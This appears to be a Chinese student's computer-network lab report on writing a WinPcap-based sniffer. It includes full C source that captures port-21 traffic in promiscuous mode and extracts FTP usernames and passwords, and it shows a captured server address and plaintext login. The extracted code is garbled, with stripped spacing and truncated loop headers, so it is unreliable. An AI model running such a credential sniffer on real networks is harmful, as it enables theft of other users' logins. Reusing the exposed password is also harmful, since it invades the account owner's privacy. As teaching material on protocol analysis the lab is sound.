嗅探器的实现.docx
《嗅探器的实现.docx》由会员分享,可在线阅读,更多相关《嗅探器的实现.docx(16页珍藏版)》请在冰豆网上搜索。
嗅探器的实现
计算机通信网络实验
嗅探器的实现
学院:
通信工程学院
班级:
011291班
学号:
01129030
姓名:
丁翔宇
2015年5月22日
一、实验目的
掌握基于Libpcap/Winpcap的协议分析器的设计方法
二、原理介绍
嗅探器程序一般包括内核部分和用户分析部分。
1)内核部分负责从网络中捕获和过滤数据。
2)用户分析部分负责界面、数据转化与处理、格式化、协议分析,如果在内核没有过滤数据包,在这里还要对数据进行过滤。
一个较为完整的基于网络监听和过滤的程序一般包括以下步骤:
1)数据包捕获
2)数据包过滤与分解
3)数据分析
数据包捕获常用的方法有两种:
1)通过设置硬路由器的监听端口;
2)利用以太网络的广播特性。
这种方式必须将网卡设置为混杂(promiscuous)模式。
监听程序工作在网络环境的底三层,可以拦截所有经过该机器的网络上传送的数据,然后将这些数据做相应处理,可以实时分析这些数据的内容,进而分析网络当前状态和整体布局。
基于windows的数据包捕获方案有以下几种:
1)使用原始套接字(rowsocket)机制。
方法简单,但功能有限,只能捕获较高层的数据包;
2)直接连接调用NDIS库函数,这种方法功能非常强大,但是比较危险,很可能导致系统崩溃和网络瘫痪;
基于windows的数据包捕获方案有以下几种:
1)使用或者自行编写中间层驱动程序,这是微软公司推荐使用的一种方法,微软提供的win2000DDK中也提供了几个这样的驱动程序。
在具体的实现方式上可分为用户级和内核级两类。
其中内核级主要是TDI捕获过滤驱动程序,NDIS中间层捕获过滤驱动程序,NDIS捕获过滤钩子驱动程序等,它们都是利用网络驱动来实现的;而用户级的包括SPI接口,Windows2000包捕获过滤接口等;
2)使用或自行编写协议驱动程序;
3)使用第三方捕获组件或者库,比如Winpcap。
捕获数据包后要进行的工作是对其进行包过滤与分解,就是在海量的数据里面找我们感兴趣的内容。
一些基础的过滤规则如下:
1)站过滤:
专门筛选出来自一台主机或者服务器的数据;
2)协议过滤:
根据不同的协议来筛选数据,例如:
选择TCP数据而非UDP数据;
3)服务过滤:
根据端口号来选择特定数据包;
4)通用过滤:
通过数据包中某一特定位置开始,选择具有某些共同数据特征的数据包;
过滤完成后,必须进行数据分析,这一部分就是对已经捕获的数据包进行各种分析,比如:
网络流量分析、数据包中信息、分析敏感信息提取分析等,功能取决于系统要达到的目的。
WinPcap是Windows平台下一个专业网络数据包捕获开发包,是为Libpcap在Windows平台下实现数据包的捕获而设计的。
Libcap(Winpcap是其windows版本)可以提供与平台无关的接口,而且操作简单,它是基于改进的BPF(BerkeleyPacketFilter),该软件来自Berkeley的LawrenceNationalLaboratory研究院。
使用Winpcap包过程比较规范。
基于Libcap/Winpcap库的基本使用流程比较规范,一般为:
1)使用pcap_lookupdev获取设备;
2)使用pcap_lookupnet获取网络地址和子网掩码;
3)使用pcap_open_live打开设备;
4)使用pcap_complile编译过滤规则;
5)使用pcap_setfilter设置过滤规则;
6)使用pcap_loop循环捕获数据包,在其中调用相应处理函数;
7)使用pcap_close关闭设备句柄。
三、实验环境
Windows2000以上版本,WinPcap3.0。
四、实验思路
1、根据TCP/IP协议中各层的数据包格式编写数据头部的结构体,便于存储调用各层数据头部信息;
IP数据报:
TCP报文格式:
2、以老师给出的参考代码为基础编写基于Winpcap的监听过程,为了过滤出登录FTP服务器的帐号和密码,将过滤规则设置为“port21”,即只过滤出端口号为21的传输数据;
3、在回调函数中对捕获到的数据包进行分析,打印出每条数据包的时间、源地址和目的地址,并找出关键字“USER”和“PASS”,过滤出FTP服务器的帐号和密码。
五、实验步骤
参考代码编写基于WinPcap的监听程序。
参考给出的代码,实现一个监听程序能够自动过滤FTP的用户名和密码。
1.代码:
//FTPsniffer.cpp:
定义控制台应用程序的入口点。
//by01121094zc
//
#include"stdafx.h"
#include"pcap.h"
#include"stdio.h"
#pragmacomment(lib,"wpcap.lib")
#pragmacomment(lib,"wsock32.lib")
#pragmacomment(lib,"ws2_32.lib")//WINSOCKAPI连接库文件
#pragmawarning(disable:
4996)
#pragmawarning(disable:
4390)
u_charuser[20];//存放用户名
u_charpass[20];//存放密码
FILE*fp=NULL;
/*TCPheader*/
typedefstructtcp_header{
u_shortsport;//Sourceport16bits
u_shortdport;//Destinationport16bits
u_intseq;//序列号32bits
u_intack_num;//确认号32bits
u_charihl;//Internetheaderlength(4bits)+4bits保留
u_charframe;//2bits保留+URG+ACK+PSH+RST+SYN+FIN
u_shortwsize;//windowsize16bits
u_shortcrc;//Headerchecksum首部校验和(16bits)
u_shorturg;//urgentframe16bits
}tcp_header;
/*4bytesIPaddress*/
typedefstructip_address{
u_charbyte1;
u_charbyte2;
u_charbyte3;
u_charbyte4;
}ip_address;
/*IPv4header*/
typedefstructip_header{
u_charver_ihl;//Version(4bits)+Internetheaderlength(4bits)版本+首部长度
u_chartos;//Typeofservice区分服务(8bits)
u_shorttlen;//Totallength总长度(16bits)
u_shortidentification;//Identification标识(16bits)
u_shortflags_fo;//Flags(3bits)+Fragmentoffset(13bits)标志和片偏移
u_charttl;//Timetolive生存时间(8bits)
u_charproto;//Protocol协议(8bits)
u_shortcrc;//Headerchecksum首部校验和(16bits)
ip_addresssaddr;//Sourceaddress(32bits)
ip_addressdaddr;//Destinationaddress(32bits)
u_intop_pad;//Option+Padding
}ip_header;
/*prototypeofthepackethandler*/
voidpacket_handler(u_char*param,conststructpcap_pkthdr*header,constu_char*pkt_data);
intmain()
{
pcap_if_t*alldevs,*d;
intinum;
inti=0;//网络设备个数
pcap_t*adhandle;//网卡描述符
charerrbuf[PCAP_ERRBUF_SIZE];
unsignedintnetmask;
charpacket_filter[]="port21";//过滤规则
structbpf_programfcode;
/*Retrievethedevicelist获取网络设备列表*/
if(pcap_findalldevs(&alldevs,errbuf)==-1)
{
fprintf(stderr,"Errorinpcap_findalldevs:
%s\n",errbuf);
exit
(1);
}
/*Printthelist*/
for(d=alldevs;d;d=d->next)
{
printf("%d.%s",++i,d->name);
if(d->description)
printf("(%s)\n",d->description);
else
printf("(Nodescriptionavailable)\n");
}
if(i==0)//没有获取到网络设备时,显示提示
{
printf("\nNointerfacesfound!
MakesureWinPcapisinstalled.\n");
return-1;
}
printf("Entertheinterfacenumber(1-%d):
",i);
scanf("%d",&inum);
if(inum<1||inum>i)
{
printf("\nInterfacenumberoutofrange.\n");
pcap_freealldevs(alldevs);/*Freethedevicelist*/
return-1;
}
/*Jumptotheselectedadapter*/
for(d=alldevs,i=0;inext,i++);
/*Opentheadapter*/
if((adhandle=pcap_open_live(d->name,//nameofthedevice
65536,//portionofthepackettocapture.
1,//promiscuousmode混杂模式
1000,//readtimeout,单位ms
errbuf//errorbuffer
))==NULL)
{
fprintf(stderr,"\nUnabletoopentheadapter.%sisnotsupportedbyWinPcap\n");
pcap_freealldevs(alldevs);/*Freethedevicelist*/
return-1;
}
/*Checkthelinklayer.WesupportonlyEthernetforsimplicity.*/
if(pcap_datalink(adhandle)!
=DLT_EN10MB)
//返回链路层的类型,DLT_EN10MB是以太网
{
fprintf(stderr,"\nThisprogramworksonlyonEthernetnetworks.\n");
pcap_freealldevs(alldevs);/*Freethedevicelist*/
return-1;
}
if(d->addresses!
=NULL)
/*Retrievethemaskofthefirstaddressoftheinterface获取子网掩码*/
netmask=((structsockaddr_in*)(d->addresses->netmask))->sin_addr.S_un.S_addr;
else
/*IftheinterfaceiswithoutaddresseswesupposetobeinaCclassnetwork*/
netmask=0xffffff;
//compilethefilter编译过滤规则,packet_filter->fcode(内核认识的格式),charpacket_filter[]="port21"
if(pcap_compile(adhandle,&fcode,packet_filter,1,netmask)<0){
fprintf(stderr,"\nUnabletocompilethepacketfilter.Checkthesyntax.\n");
/*Freethedevicelist*/
pcap_freealldevs(alldevs);
return-1;
}
//setthefilter所有的一致的数据包将被复制给应用程序
if(pcap_setfilter(adhandle,&fcode)<0){
fprintf(stderr,"\nErrorsettingthefilter.\n");
pcap_freealldevs(alldevs);/*Freethedevicelist*/
return-1;
}
printf("\nlisteningon%s...\n\n",d->description);
/*Atthispoint,wedon'tneedanymorethedevicelist.Freeit*/
pcap_freealldevs(alldevs);
if(fp=fopen(".//result.txt","w"));//打开文件,等待嗅探结果输入
pcap_loop(adhandle,40,packet_handler,NULL);
/*startthecapture抓取40个包,回调函数packet_handler*/
printf("checktheresult!
\n\t\tuser:
%s\n\t\tpwd:
%s\n",user,pass);
fclose(fp);//关闭文件
system("pause");//控制台窗口暂停
return0;
}
/*Callbackfunctioninvokedbylibpcapforeveryincomingpacket*/
voidpacket_handler(u_char*param,conststructpcap_pkthdr*header,constu_char*pkt_data)
{
structtmltime;
chartimestr[16];
ip_header*ih;//指向ip数据报
tcp_header*th;//指向tcp报文
u_char*pdata;//指向传输数据
u_intip_len;//IP数据报头部长度
u_inttcp_len;//TCP报文头部长度
u_shortsport,dport;//源端口和目的端口地址
u_intdata_len;//数据长度
u_inti;
time_tlocal_tv_sec;
/*convertthetimestamptoreadableformat*/
local_tv_sec=header->ts.tv_sec;
localtime_s(<ime,&local_tv_sec);
strftime(timestr,sizeoftimestr,"%H:
%M:
%S",<ime);
/*printtimestampandlengthofthepacket*/
//printf("%s.%.6dlen:
%d",timestr,header->ts.tv_usec,header->len);1
fprintf(fp,"%s.%.6dlen:
%d\n",timestr,header->ts.tv_usec,header->len);//输出到文件result.txt2
/*retirevethepositionoftheipheader*/
ih=(ip_header*)(pkt_data+14);//lengthofethernetheader
/*retirevethepositionoftheudpheader*/
ip_len=(ih->ver_ihl&0xf)*4;
//ver_ihl是8bit,位与0xf,高4位清零,后4位是首部长度,单位:
4字节
th=(tcp_header*)((u_char*)ih+ip_len);
/*convertfromnetworkbyteordertohostbyteorder*/
sport=ntohs(th->sport);
dport=ntohs(th->dport);
/*printipaddressesandudpports*/
//printf("%d.%d.%d.%d.%d->%d.%d.%d.%d.%d\n",ih->saddr.byte1,ih->saddr.byte2,
//ih->saddr.byte3,ih->saddr.byte4,//源ip地址
//sport,//源地址的端口
//ih->daddr.byte1,ih->daddr.byte2,ih->daddr.byte3,ih->daddr.byte4,//目的ip地址
//dport);//目的地址的端口
fprintf(fp,"src:
%d.%d.%d.%dport:
%d\n",ih->saddr.byte1,ih->saddr.byte2,
ih->saddr.byte3,ih->saddr.byte4,sport);
fprintf(fp,"dst:
%d.%d.%d.%dport:
%d\n",ih->daddr.byte1,ih->daddr.byte2,
ih->daddr.byte3,ih->daddr.byte4,dport);//输出到文件result.txt
tcp_len=((th->ihl&0xf0)>>4)*4;//tcp报文头部长度
pdata=(u_char*)th+tcp_len;
data_len=header->len-ip_len-tcp_len-16;
//计算传输数据的长度,16包含帧头部和尾部
//过滤USER信息
if(*pdata=='U'&&*(pdata+1)=='S'&&*(pdata+2)=='E'&&*(pdata+3)=='R')
{
memset(user,0,sizeof(user));
pdata+=5;
for(i=0;i{
user[i]=*pdata;
pdata++;
}
}
//过滤PASSWORD信息
if(*pdata=='P'&&*(pdata+1)=='A'&&*(pdata+2)=='S'&&*(pdata+3)=='S')
{
memset(pass,0,sizeof(pass));
pdata+=5;
for(i=0;i{
pass[i]=*pdata;
pdata++;
}
}
fprintf(fp,"**User:
%s\n**Password:
%s",user,pass);
fprintf(fp,"\n++++++++++++++++01121094zc++++++++++++++++\n");
}
2、实验结果
客户端:
ftp服务器的地址是ftp:
//222.25.162.196
客户端在浏览器地址栏中输入服务器地址,首先出现如下对话框,客户输入用户名和密码后即可登录。
用户名:
dell
密码:
yl253631
登录后界面如下,网页上所显示的文件均是ftp服务器上的文件,可以查看和下载。
服务器:
程序运行后的doc界面:
从上图可以看出,本主机有3个网络设备,用户可以选择任何一个监听,现在选择的是第一个网络设备接口进行监听。
随后,嗅探器捕获了30个数据包,并过滤出了用户名和密码,可以看到,与客户端登陆时所用用户名密码相同,表明该程序满足了设计要求。
六、实验心得
在本次实验中我们通过用C语言编写基于winpcap的简易嗅探器,成功捕获了ftp数据包,过滤出了用户名和密码。
在本次编程过程中,我们遇到了不少困难,也学到了不少知识。
首先是刚开始尝试编译老师给的参考代码使发现有错误,后来发现是如果我们要使用winpcap中的各种函数和结构体,就必须在vc环境中进行一些部署。
其次是由于TCP/IP协议的各层数据格式虽然都学习过,但已经有些遗忘了,所以编程的时候我们重新学习了TCP/IP协议的相关知识,也掌握了对各层数据头部地址的计算和提取地址等信息。
此外,我们还学习到了网络字节顺序和本机字节顺序的不同。
读取的时候如果不注意,会出现不少混乱。
针对这一现象,可以用函数htons()和ntohs()解决。
总之,本次实验不管在理论还是实践上都让我受益颇多,我希望以后能学习更多相关的知识。